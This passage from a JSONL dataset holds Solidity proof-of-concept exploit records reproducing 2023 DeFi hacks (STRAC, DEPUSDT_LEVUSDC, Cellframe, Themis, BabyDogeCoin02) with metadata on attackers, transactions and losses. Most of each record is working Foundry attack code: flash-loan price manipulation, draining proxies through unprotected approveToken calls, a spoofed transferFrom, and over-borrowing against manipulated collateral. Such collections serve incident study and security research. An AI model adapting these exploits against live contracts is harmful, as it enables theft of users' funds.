BabyDogeCoin to WBNB, get profit\n }\n\n function repayFlashLoan(uint256 amount0, uint256 amount1) internal {\n WBNB.withdraw(borrowAmount);\n vBNB.repayBorrow{value: address(this).balance}();\n vUSDT.redeemUnderlying(USDTFlashLoanAmount);\n vBUSD.redeemUnderlying(BUSDFlashLoanAmount);\n USDT.transfer(address(pool), USDTFlashLoanAmount);\n BUSD.transfer(address(pool), BUSDFlashLoanAmount);\n WBNB.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(USDT);\n Router.swapTokensForExactTokens(amount0, type(uint256).max, path, address(pool), block.timestamp);\n path[1] = address(BUSD);\n Router.swapTokensForExactTokens(amount1, type(uint256).max, path, address(pool), block.timestamp);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "BabyDogeCoin02", "date": "2023-06", "file_name": "BabyDogeCoin02_exp.sol", "attack_vector": "flash_loan", "content_hash": "602aaabbb933e909", "collected_at": "2026-01-07T10:59:16.511740", "_source": "postmortems", "chain": "bsc", "block_number": 29295010, "total_lost_raw": "~100K USD$", "total_lost_usd": 100000.0, "attacker_address": "https://bscscan.com/address/0xee6764ac7aa45ed52482e4320906fd75615ba1d1", "attack_contract": "https://bscscan.com/address/0x9a6b926281b0c7bc4f775e81f42b13eda9c1c98e", "vulnerable_contract": "https://bscscan.com/address/0xc748673057861a797275CD8A068AbB95A902e8de", "attack_tx": "https://bscscan.com/tx/0xbaf3e4841614eca5480c63662b41cd058ee5c85dc69198b29e7ab63b84bc866c", "postmortem_url": null, "twitter_url": "https://twitter.com/hexagate_/status/1671517819840745475", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~100K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n init();\n AddBabyDogeCoinWBNBLiquidity();\n exploit();\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~100K USD$", "keyinfo_attacker": "https://bscscan.com/address/0xee6764ac7aa45ed52482e4320906fd75615ba1d1", "keyinfo_attack_contract": "https://bscscan.com/address/0x9a6b926281b0c7bc4f775e81f42b13eda9c1c98e", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xc748673057861a797275CD8A068AbB95A902e8de", "keyinfo_attack_tx": "https://bscscan.com/tx/0xbaf3e4841614eca5480c63662b41cd058ee5c85dc69198b29e7ab63b84bc866c", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/hexagate_/status/1671517819840745475", "funds_lost_formatted": "$100.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "BabyDogeCoin02 Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~13 $ETH\n// Attacker : https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea3\n// Attack Contract : https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea3\n// Vulnerable Contract : https://bscscan.com/address/0x1f90bdeb5674833868ee9b36707b929024e7a513\n// Attack Tx : https://bscscan.com/tx/0x1147b3c0f3ebdd524c4e58430bb736eba9f7fa522158f5ad81eb3e2394b466d0\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n IERC20 STRAC = IERC20(0x9801DA0AA142749295692c7cb3241E4EE2B80Bda);\n IERC20 ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);\n IPancakePair ETH_STRAC_LpPool = IPancakePair(0x2976bD3774622367CE7A575D28201480e640966F);\n IPancakeRouter PancakeRouter = IPancakeRouter(payable(0x3870D09F59564d8b86B052b1FB1e27b961f9BC73));\n address Contract_0x1f90 = 0x1F90BDeB5674833868EE9b36707B929024E7A513;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 29_474_566 - 1);\n vm.label(address(STRAC), \"STRAC\");\n vm.label(address(Contract_0x1f90), \"Contract_0x1f90\");\n }\n\n function testExploit() public {\n STRAC.approve(address(PancakeRouter), type(uint256).max);\n emit log_named_decimal_uint(\"Attacker ETH balance before attack\", ETH.balanceOf(address(this)), 18);\n Contract_0x1f90.call(\n abi.encodeWithSelector(bytes4(0x4a75084c), address(this), STRAC, STRAC.balanceOf(address(Contract_0x1f90)))\n );\n TOKENToETH();\n emit log_named_decimal_uint(\"Attacker ETH balance after attack\", ETH.balanceOf(address(this)), 18);\n }\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {\n return true;\n }\n\n function TOKENToETH() internal {\n (uint256 reserveETH, uint256 reserveTOKEN,) = ETH_STRAC_LpPool.getReserves();\n uint256 amountOut;\n\n (uint256 reserveETH_after, uint256 reserveTOKEN_after,) = ETH_STRAC_LpPool.getReserves();\n\n amountOut = PancakeRouter.getAmountOut(STRAC.balanceOf(address(this)), reserveTOKEN, reserveETH);\n STRAC.transfer(address(ETH_STRAC_LpPool), STRAC.balanceOf(address(this)));\n ETH_STRAC_LpPool.swap(amountOut * 997 / 1000, 0, address(this), \"\");\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "STRAC", "date": "2023-06", "file_name": "STRAC_exp.sol", "attack_vector": null, "content_hash": "a5ef48f3bcaa0b27", "collected_at": "2026-01-07T10:59:16.511815", "_source": "postmortems", "chain": "bsc", "block_number": 29474566, "total_lost_raw": "~13 $ETH", "total_lost_usd": 13.0, "attacker_address": "https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea3", "attack_contract": "https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea3", "vulnerable_contract": "https://bscscan.com/address/0x1f90bdeb5674833868ee9b36707b929024e7a513", "attack_tx": "https://bscscan.com/tx/0x1147b3c0f3ebdd524c4e58430bb736eba9f7fa522158f5ad81eb3e2394b466d0", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~13 $ETH", "category": "unknown", "exploit_code": "function testExploit() public {\n STRAC.approve(address(PancakeRouter), type(uint256).max);\n emit log_named_decimal_uint(\"Attacker ETH balance before attack\", ETH.balanceOf(address(this)), 18);\n Contract_0x1f90.call(\n abi.encodeWithSelector(bytes4(0x4a75084c), address(this), STRAC, STRAC.balanceOf(address(Contract_0x1f90)))\n );\n TOKENToETH();\n emit log_named_decimal_uint(\"Attacker ETH balance after attack\", ETH.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~13 $ETH", "keyinfo_attacker": "https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea3", "keyinfo_attack_contract": "https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea3", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x1f90bdeb5674833868ee9b36707b929024e7a513", "keyinfo_attack_tx": "https://bscscan.com/tx/0x1147b3c0f3ebdd524c4e58430bb736eba9f7fa522158f5ad81eb3e2394b466d0", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$13", "content_richness_score": 7.21, "quality_estimate": "medium", "title": "STRAC Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~36K USD$ (LEVUSDC) + ~69K USD$ (DEPUSDT)\n// Vulnerable Proxy DEPUSDT : https://etherscan.io/address/0x7b190a928aa76eece5cb3e0f6b3bdb24fcdd9b4f\n// Vulnerable Proxy LEVUSDC : https://etherscan.io/address/0x2a2b195558cf89aa617979ce28880bbf7e17bc45\n// Attack Tx DEPUSDT : https://etherscan.io/tx/0xf0a13b445674094c455de9e947a25bade75cac9f5176695fca418898ea25742f\n// Attack Tx LEVUSDC : https://etherscan.io/tx/0x800a5b3178f680feebb81af69bd3dff791b886d4ce31615e601f2bb1f543bb2e\n\n// @Analysis : https://twitter.com/numencyber/status/1669278694744150016?cxt=HHwWgMDS9Z2IvKouAAAA\n\ninterface IProxy {\n function approveToken(address token, address pool, uint256 amount) external;\n}\n\ninterface IToken {\n function balanceOf(\n address who\n ) external view returns (uint256);\n\n function transferFrom(address sender, address recipient, uint256 amount) external;\n}\n\ncontract ContractTest is Test {\n IToken DEPUSDT = IToken(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IToken LEVUSDC = IToken(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IProxy ProxyDEPUSDT = IProxy(0x7b190a928Aa76EeCE5Cb3E0f6b3BdB24fcDd9b4f);\n IProxy ProxyLEVUSDC = IProxy(0x2a2b195558cF89AA617979ce28880BbF7e17bc45);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 17_484_161);\n cheats.label(address(DEPUSDT), \"DEPUSDT\");\n cheats.label(address(LEVUSDC), \"LEVUSDC\");\n cheats.label(address(ProxyDEPUSDT), \"ProxyDEPUSDT\");\n cheats.label(address(ProxyLEVUSDC), \"ProxyLEVUSDC\");\n }\n\n function testApprove() public {\n // No access control. Thanks to this, attacker obtained authorization to transfer funds\n ProxyDEPUSDT.approveToken(address(DEPUSDT), address(this), type(uint256).max);\n\n DEPUSDT.transferFrom(address(ProxyDEPUSDT), address(this), DEPUSDT.balanceOf(address(ProxyDEPUSDT)));\n\n cheats.roll(17_484_167);\n\n ProxyLEVUSDC.approveToken(address(LEVUSDC), address(this), type(uint256).max);\n\n LEVUSDC.transferFrom(address(ProxyLEVUSDC), address(this), LEVUSDC.balanceOf(address(ProxyLEVUSDC)));\n\n emit log_named_decimal_uint(\"Attacker DEPUSDT balance after hack\", DEPUSDT.balanceOf(address(this)), 6);\n\n emit log_named_decimal_uint(\"Attacker LEVUSDC balance after hack\", LEVUSDC.balanceOf(address(this)), 6);\n }\n}\n", "type": "exploit_poc", "protocol": "DEPUSDT_LEVUSDC", "date": "2023-06", "file_name": "DEPUSDT_LEVUSDC_exp.sol", "attack_vector": "access_control", "content_hash": "88e7e01d05ef0351", "collected_at": "2026-01-07T10:59:16.511861", "_source": "postmortems", "chain": "ethereum", "block_number": 17484161, "total_lost_raw": "~36K USD$ (LEVUSDC) + ~69K USD$ (DEPUSDT)", "total_lost_usd": 36000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~36K USD$ (LEVUSDC) + ~69K USD$ (DEPUSDT)", "category": "access-control", "exploit_code": "function testApprove() public {\n // No access control. Thanks to this, attacker obtained authorization to transfer funds\n ProxyDEPUSDT.approveToken(address(DEPUSDT), address(this), type(uint256).max);\n\n DEPUSDT.transferFrom(address(ProxyDEPUSDT), address(this), DEPUSDT.balanceOf(address(ProxyDEPUSDT)));\n\n cheats.roll(17_484_167);\n\n ProxyLEVUSDC.approveToken(address(LEVUSDC), address(this), type(uint256).max);\n\n LEVUSDC.transferFrom(address(ProxyLEVUSDC), address(this), LEVUSDC.balanceOf(address(ProxyLEVUSDC)));\n\n emit log_named_decimal_uint(\"Attacker DEPUSDT balance after hack\", DEPUSDT.balanceOf(address(this)), 6);\n\n emit log_named_decimal_uint(\"Attacker LEVUSDC balance after hack\", LEVUSDC.balanceOf(address(this)), 6);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~36K USD$ (LEVUSDC) + ~69K USD$ (DEPUSDT)", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$36.0K", "content_richness_score": 6.28, "quality_estimate": "medium", "title": "DEPUSDT_LEVUSDC Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~76K USD$\n// Attacker - https://bscscan.com/address/0x2525c811ecf22fc5fcde03c67112d34e97da6079\n// Attack contract - https://bscscan.com/address/0x1e2a251b29e84e1d6d762c78a9db5113f5ce7c48\n// Attack Tx : https://bscscan.com/tx/0x943c2a5f89bc0c17f3fe1520ec6215ed8c6b897ce7f22f1b207fea3f79ae09a6\n// Pre-Attack Tx: https://bscscan.com/tx/0xe2d496ccc3c5fd65a55048391662b8d40ddb5952dc26c715c702ba3929158cb9\n\n// @Analysis - https://twitter.com/numencyber/status/1664132985883615235?cxt=HHwWhoDTqceImJguAAAA\n\ninterface IPancakeRouterV3 {\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactInputSingle(\n ExactInputSingleParams memory params\n ) external payable returns (uint256 amountOut);\n}\n\ninterface ILpMigration {\n function migrate(\n uint256 amountLP\n ) external;\n}\n\ncontract ContractTest is Test {\n IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n IPancakeV3Pool PancakePool = IPancakeV3Pool(0xA2C1e0237bF4B58bC9808A579715dF57522F41b2);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 CELL9 = Uni_Pair_V2(0x06155034f71811fe0D6568eA8bdF6EC12d04Bed2);\n IPancakePair PancakeLP = IPancakePair(0x1c15f4E3fd885a34660829aE692918b4b9C1803d);\n ILpMigration LpMigration = ILpMigration(0xB4E47c13dB187D54839cd1E08422Af57E5348fc1);\n IPancakeRouterV3 SmartRouter = IPancakeRouterV3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 oldCELL = IERC20(0xf3E1449DDB6b218dA2C9463D4594CEccC8934346);\n IERC20 newCELL = IERC20(0xd98438889Ae7364c7E2A3540547Fad042FB24642);\n IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n address public constant zap = 0x5E86bD98F7BEFBF5C602EdB5608346f65D9578c3;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 28_708_273);\n cheats.label(address(DPPOracle), \"DPPOracle\");\n cheats.label(address(PancakePool), \"PancakePool\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(PancakeLP), \"PancakeLP\");\n cheats.label(address(LpMigration), \"LpMigration\");\n cheats.label(address(SmartRouter), \"SmartRouter\");\n cheats.label(address(CELL9), \"CELL9\");\n cheats.label(address(WBNB), \"WBNB\");\n cheats.label(address(oldCELL), \"oldCELL\");\n cheats.label(address(newCELL), \"newCELL\");\n cheats.label(address(BUSD), \"BUSD\");\n cheats.label(zap, \"Zap\");\n }\n\n function testExploit() public {\n deal(address(WBNB), address(this), 0.1 ether);\n emit log_named_decimal_uint(\n \"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n // Preparation. Pre-attack transaction\n WBNB.approve(address(Router), type(uint256).max);\n swapTokens(address(WBNB), address(oldCELL), WBNB.balanceOf(address(this)));\n\n oldCELL.approve(zap, type(uint256).max);\n oldCELL.approve(address(Router), type(uint256).max);\n swapTokens(address(oldCELL), address(WBNB), oldCELL.balanceOf(address(this)) / 2);\n\n Router.addLiquidity(\n address(oldCELL),\n address(WBNB),\n oldCELL.balanceOf(address(this)),\n WBNB.balanceOf(address(this)),\n 0,\n 0,\n address(this),\n block.timestamp + 100\n );\n\n // End of preparation. Attack start\n DPPOracle.flashLoan(1000 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n PancakePool.flash(\n address(this), 0, 500_000 * 1e18, hex\"0000000000000000000000000000000000000000000069e10de76676d0800000\"\n );\n newCELL.approve(address(SmartRouter), type(uint256).max);\n smartRouterSwap();\n\n swapTokens(address(newCELL), address(WBNB), 94_191_714_329_478_648_796_861);\n\n swapTokens(address(newCELL), address(BUSD), newCELL.balanceOf(address(this)));\n\n BUSD.approve(address(Router), type(uint256).max);\n swapTokens(address(BUSD), address(WBNB), BUSD.balanceOf(address(this)));\n\n WBNB.transfer(address(DPPOracle), 1000 * 1e18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n newCELL.approve(address(Router), type(uint256).max);\n CELL9.approve(address(LpMigration), type(uint256).max);\n\n swapTokens(address(newCELL), address(WBNB), 500_000 * 1e18);\n // Acquiring oldCELL tokens\n swapTokens(address(WBNB), address(oldCELL), 900 * 1e18);\n\n // Liquidity amount to migrate (for one call to migrate() func)\n uint256 lpAmount = CELL9.balanceOf(address(this)) / 10;\n emit log_named_uint(\"Amount of liquidity to migrate (for one migrate call)\", lpAmount);\n\n // 8 calls to migrate were successfully. Ninth - revert in attack tx.\n for (uint256 i; i < 9; ++i) {\n LpMigration.migrate(lpAmount);\n }\n\n PancakeLP.transfer(address(PancakeLP), PancakeLP.balanceOf(address(this)));\n PancakeLP.burn(address(this));\n\n swapTokens(address(WBNB), address(newCELL), WBNB.balanceOf(address(this)));\n swapTokens(address(oldCELL), address(WBNB), oldCELL.balanceOf(address(this)));\n\n newCELL.transfer(address(PancakePool), 500_000 * 1e18 + fee1);\n }\n\n // Helper function for swap tokens with the use Pancake RouterV2\n function swapTokens(address from, address to, uint256 amountIn) internal {\n address[] memory path = new address[](2);\n path[0] = from;\n path[1] = to;\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amountIn, 0, path, address(this), block.timestamp + 100\n );\n }\n\n // Helper function for swap tokens with the use Pancake RouterV3\n function smartRouterSwap() internal {\n IPancakeRouterV3.ExactInputSingleParams memory params = IPancakeRouterV3.ExactInputSingleParams({\n tokenIn: address(newCELL),\n tokenOut: address(WBNB),\n fee: 500,\n recipient: address(this),\n amountIn: 768_165_437_250_117_135_819_067,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n SmartRouter.exactInputSingle(params);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Cellframe", "date": "2023-06", "file_name": "Cellframe_exp.sol", "attack_vector": "flash_loan", "content_hash": "2a79592180895132", "collected_at": "2026-01-07T10:59:16.511906", "_source": "postmortems", "chain": "bsc", "block_number": 28708273, "total_lost_raw": "~76K USD$", "total_lost_usd": 76000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x943c2a5f89bc0c17f3fe1520ec6215ed8c6b897ce7f22f1b207fea3f79ae09a6", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~76K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(WBNB), address(this), 0.1 ether);\n emit log_named_decimal_uint(\n \"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n // Preparation. Pre-attack transaction\n WBNB.approve(address(Router), type(uint256).max);\n swapTokens(address(WBNB), address(oldCELL), WBNB.balanceOf(address(this)));\n\n oldCELL.approve(zap, type(uint256).max);\n oldCELL.approve(address(Router), type(uint256).max);\n swapTokens(address(oldCELL), address(WBNB), oldCELL.balanceOf(address(this)) / 2);\n\n Router.addLiquidity(\n address(oldCELL),\n address(WBNB),\n oldCELL.balanceOf(address(this)),\n WBNB.balanceOf(address(this)),\n 0,\n 0,\n address(this),\n block.timestamp + 100\n );\n\n // End of preparation. Attack start\n DPPOracle.flashLoan(1000 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~76K USD$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x943c2a5f89bc0c17f3fe1520ec6215ed8c6b897ce7f22f1b207fea3f79ae09a6", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$76.0K", "content_richness_score": 9, "quality_estimate": "high", "title": "Cellframe Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~370K USD$\n// Attacker : https://arbiscan.io/address/0xdb73eb484e7dea3785520d750eabef50a9b9ab33\n// Attack Contracts : https://arbiscan.io/address/0x05a1b877330c168451f081bfaf32d690ea964fca\n// https://arbiscan.io/address/0x33f3fb58ea0f91f4bd8612d9f477420b01023f25\n// Vulnerable Contract : https://arbiscan.io/address/0x75f805e2fb248462e7817f0230b36e9fae0280fc\n// Attack Tx : https://arbiscan.io/tx/0xff368294ccb3cd6e7e263526b5c820b22dea2b2fd8617119ba5c3ab8417403d8\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1673930979348717570\n// Detailed attack steps: https://twitter.com/BlockSecTeam/status/1673897088617426946\n\ninterface IThemis {\n function supply(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;\n\n function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;\n\n function borrow(\n address asset,\n uint256 amount,\n uint256 interestRateMode,\n uint16 referralCode,\n address onBehalfOf\n ) external;\n}\n\ninterface IGauge is IERC20 {\n function deposit(uint256 _amount, address _referrer) external;\n}\n\ninterface IPool is IERC20 {\n function getPoolId() external view returns (bytes32);\n}\n\ncontract ThemisTest is Test {\n IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n IERC20 wstETH = IERC20(0x5979D7b546E38E414F7E9822514be443A4800529);\n IERC20 DAI = IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1);\n IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);\n IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);\n IERC20 ARB = IERC20(0x912CE59144191C1204E64559FE8253a0e49E6548);\n IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);\n // wstETH - WETH Pool\n IPool BalancerPool = IPool(0x36bf227d6BaC96e2aB1EbB5492ECec69C691943f);\n IGauge BalancerGauge = IGauge(0x8F0B53F3BA19Ee31C0A73a6F6D84106340fadf5f);\n IAaveFlashloan AaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n Uni_Pair_V3 UniPool1 = Uni_Pair_V3(0x2f5e87C9312fa29aed5c179E456625D79015299c);\n Uni_Pair_V3 UniPool2 = Uni_Pair_V3(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);\n IBalancerVault BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IThemis AttackedThemisContract = IThemis(0x75F805e2fB248462e7817F0230B36E9Fae0280Fc);\n IAggregator Aggregator = IAggregator(0x17df2B52f5D756420846c78c69F4fE4fF10e57A4);\n address private constant proxyAddress = 0xdE85D18ADdA9D2b9eAfa7Dbf0ceC5A89119d90F0;\n address private constant themisDAI = 0x10c73B8e7E5DC0d25a1A717f4BF9026d955382dE;\n address private constant themisUSDC = 0x349aC9f74Dcf2Bdf6a39F0Df57f5c8C9840a5367;\n address private constant themisUSDT = 0xe67F804192c92674639cE46D059823976C24E925;\n address private constant themisARB = 0x1467B18945135c6866b7f9d64729bcDAD60C9295;\n address private constant themisWBTC = 0x1762A96724ab7ae072ABD7dB7A43fFc66261669E;\n address private constant themisWETH = 0xe611e633C1E88d4f026fec5Bc1E40E8A477f41aD;\n AttackContract AContract;\n address private constant DAI_USDC = 0xd37Af656Abf91c7f548FfFC0133175b5e4d3d5e6;\n address private constant WETH_ARB = 0x92c63d0e701CAAe670C9415d91C474F686298f00;\n address private constant WBTC_WETH = 0x2f5e87C9312fa29aed5c179E456625D79015299c;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"arbitrum\", 105_524_523);\n cheats.label(address(WETH), \"WETH\");\n cheats.label(address(AaveV3), \"AaveV3\");\n cheats.label(address(UniPool1), \"UniPool1\");\n cheats.label(address(UniPool2), \"UniPool2\");\n }\n\n function testExploit() public {\n WETH.approve(address(AaveV3), type(uint256).max);\n\n address[] memory assets = new address[](1);\n assets[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 22_000 * 1e18;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n AaveV3.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n\n uniswapV3Swap(DAI_USDC, true, DAI.balanceOf(address(this)), 39_213_280_958_319_573_512_907);\n uniswapV3Swap(WETH_ARB, false, ARB.balanceOf(address(this)), 6_123_808_957_771_478_940_080_370_857_742);\n uniswapV3Swap(WBTC_WETH, true, WBTC.balanceOf(address(this)), 21_845_559_093_545_742_410_589_827_953_560_948);\n emit log_named_decimal_uint(\n \"Attacker's amount of WETH after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker's amount of USDC after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker's amount of USDT after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n UniPool1.flash(address(this), 0, 10_000 * 1e18, \"\");\n return true;\n }\n\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n if (msg.sender == address(UniPool1)) {\n UniPool2.flash(address(this), 8000 * 1e18, 0, \"\");\n WETH.transfer(msg.sender, 10_000 * 1e18 + fee1);\n } else {\n WETH.approve(address(BalancerVault), type(uint256).max);\n WETH.approve(address(AttackedThemisContract), type(uint256).max);\n wstETH.approve(address(BalancerVault), type(uint256).max);\n BalancerPool.approve(address(BalancerGauge), type(uint256).max);\n BalancerGauge.approve(proxyAddress, type(uint256).max);\n\n Aggregator.latestAnswer();\n\n AttackedThemisContract.supply(address(WETH), 220e18, address(this), 0);\n AttackedThemisContract.setUserUseReserveAsCollateral(address(WETH), true);\n\n // emit log_uint(DAI.balanceOf(themisDAI));\n borrowTokens(address(DAI), DAI.balanceOf(themisDAI));\n borrowTokens(address(USDC), USDC.balanceOf(themisUSDC));\n borrowTokens(address(USDT), USDT.balanceOf(themisUSDT));\n borrowTokens(address(ARB), ARB.balanceOf(themisARB));\n borrowTokens(address(WBTC), WBTC.balanceOf(themisWBTC));\n\n WETH.withdraw(55e18);\n\n AContract = new AttackContract{value: 55 ether}();\n\n balancerSwap(address(wstETH), address(WETH), wstETH.balanceOf(address(this)));\n WETH.transfer(msg.sender, 8000 * 1e18 + fee0);\n }\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n if (msg.sender == DAI_USDC) {\n DAI.transfer(DAI_USDC, uint256(amount0Delta));\n } else if (msg.sender == WETH_ARB) {\n ARB.transfer(WETH_ARB, uint256(amount1Delta));\n } else {\n WBTC.transfer(WBTC_WETH, uint256(amount0Delta));\n }\n }\n\n function balancerSwap(address tokenA, address tokenB, uint256 swapAmount) public {\n IBalancerVault.SingleSwap memory single = IBalancerVault.SingleSwap({\n poolId: BalancerPool.getPoolId(),\n kind: IBalancerVault.SwapKind(0),\n assetIn: tokenA,\n assetOut: tokenB,\n amount: swapAmount,\n userData: \"\"\n });\n\n IBalancerVault.FundManagement memory funds = IBalancerVault.FundManagement({\n sender: address(this),\n fromInternalBalance: false,\n recipient: payable(address(this)),\n toInternalBalance: false\n });\n\n BalancerVault.swap(single, funds, 0, block.timestamp);\n }\n\n function borrowTokens(address token, uint256 borrowAmount) internal {\n AttackedThemisContract.borrow(token, borrowAmount, 2, 0, address(this));\n }\n\n function uniswapV3Swap(\n address uniswapPool,\n bool zeroForOne,\n uint256 amountSpecified,\n uint160 sqrtPriceLimit\n ) internal {\n Uni_Pair_V3(uniswapPool).swap(address(this), zeroForOne, int256(amountSpecified), sqrtPriceLimit, \"\");\n }\n\n receive() external payable {}\n}\n\ncontract AttackContract {\n IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n IERC20 wstETH = IERC20(0x5979D7b546E38E414F7E9822514be443A4800529);\n IBalancerVault BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IGauge BalancerGauge = 